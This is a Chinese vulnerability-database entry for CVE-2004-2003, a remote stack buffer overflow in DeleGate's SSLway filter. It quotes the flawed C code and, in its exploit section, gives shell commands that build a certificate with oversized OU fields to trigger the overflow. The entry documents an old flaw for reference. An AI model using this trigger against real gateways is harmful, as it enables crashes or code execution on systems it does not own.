DeleGate SSLway Filter远程堆栈缓冲区溢出漏洞

DeleGate SSLway Filter远程堆栈缓冲区溢出漏洞

漏洞ID 1107935 漏洞类型 边界条件错误
发布时间 2004-05-06 更新时间 2005-10-20
图片[1]-DeleGate SSLway Filter远程堆栈缓冲区溢出漏洞-安全小百科CVE编号 CVE-2004-2003
图片[2]-DeleGate SSLway Filter远程堆栈缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200405-047
漏洞平台 Linux CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/24095
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200405-047
|漏洞详情
DeleGate是一款多功能应用级网关,运行在多个平台上。DeleGateSSLway过滤器在处理用户提供的部分证书字段内容时缺少充分边界检查,远程攻击者可以利用这个漏洞对网关程序进行缓冲区溢出攻击,可能以进程权限在系统上执行任意指令。当DeleGateSSLway过滤器使用时处理客户或服务端连接时存在漏洞,使用标题或发送者名字字段内容超过256字节的证书,可触发缓冲区溢出:staticssl_prcert(ssl,show,outssl,outfd,what)SSL*ssl;char*what;{X509*peer;charsubjb[256],*sb,issrb[256],*is;char*dp,ident[256];ident[0]=0;if(peer=SSL_get_peer_certificate(ssl)){sb=X509_NAME_oneline(X509_get_subject_name(peer),subjb,1024);is=X509_NAME_oneline(X509_get_issuer_name(peer),issrb,1024);X509_NAME_oneline()的第二个参数是要写入的缓冲区,第三个参数是缓冲区大小,上面缓冲区大小定义为1024字节,而缓冲区实际只有256字节,因此过多的数据可覆盖ssl_prcert()的返回地址。
|漏洞EXP
source: http://www.securityfocus.com/bid/10295/info

A remote buffer overflow vulnerability has been reported to affect the DeleGate SSLway filter. This filter is employed when DeleGate is applying SSL to arbitrary protocols.

The issue presents itself due to a lack of sufficient boundary checks performed, when copying user-supplied certificate field contents.

A remote attacker may potentially exploit this issue, to overwrite the return address of the static ssl_prcert() function. The attacker may corrupt any other saved value that is within 768 bytes from the end of the affected buffers.

It has been reported that the X509_NAME_oneline() function will perform character conversion on characters below '0x20' or above '0x7e'; this may hinder exploitation of this issue.

[je@vudo ~]$ cat>openssl.cnf<<EOF
> [ req ]
> distinguished_name = req_dn
> prompt = no
> [ req_dn ]
> CN=bof
> 0.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 1.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 2.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 3.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EOF
[je@vudo ~]$ openssl req -x509 -new -nodes -out bof.pem -keyout bof.pem -config openssl.cnf
Generating a 512 bit RSA private key
.........++++++++++++
..........++++++++++++
writing new private key to 'bof.pem'
|参考资料

来源:BID
名称:10295
链接:http://www.securityfocus.com/bid/10295
来源:SECUNIA
名称:11569
链接:http://secunia.com/advisories/11569
来源:BUGTRAQ
名称:20040506[0xbadc0ded#03]DeleGate(SSL-filter)<=8.9.2
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=108386181021070&w;=2
来源:XF
名称:delegate-sslway-bo(16078)
链接:http://xforce.iss.net/xforce/xfdb/16078
来源:OSVDB
名称:5945
链接:http://www.osvdb.org/5945

相关推荐: PHPay 2.2 – Multiple Full Path Disclosure Vulnerabilities

PHPay 2.2 – Multiple Full Path Disclosure Vulnerabilities 漏洞ID 1053817 漏洞类型 发布时间 2003-04-09 更新时间 2003-04-09 CVE编号 N/A CNNVD-ID N/A…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享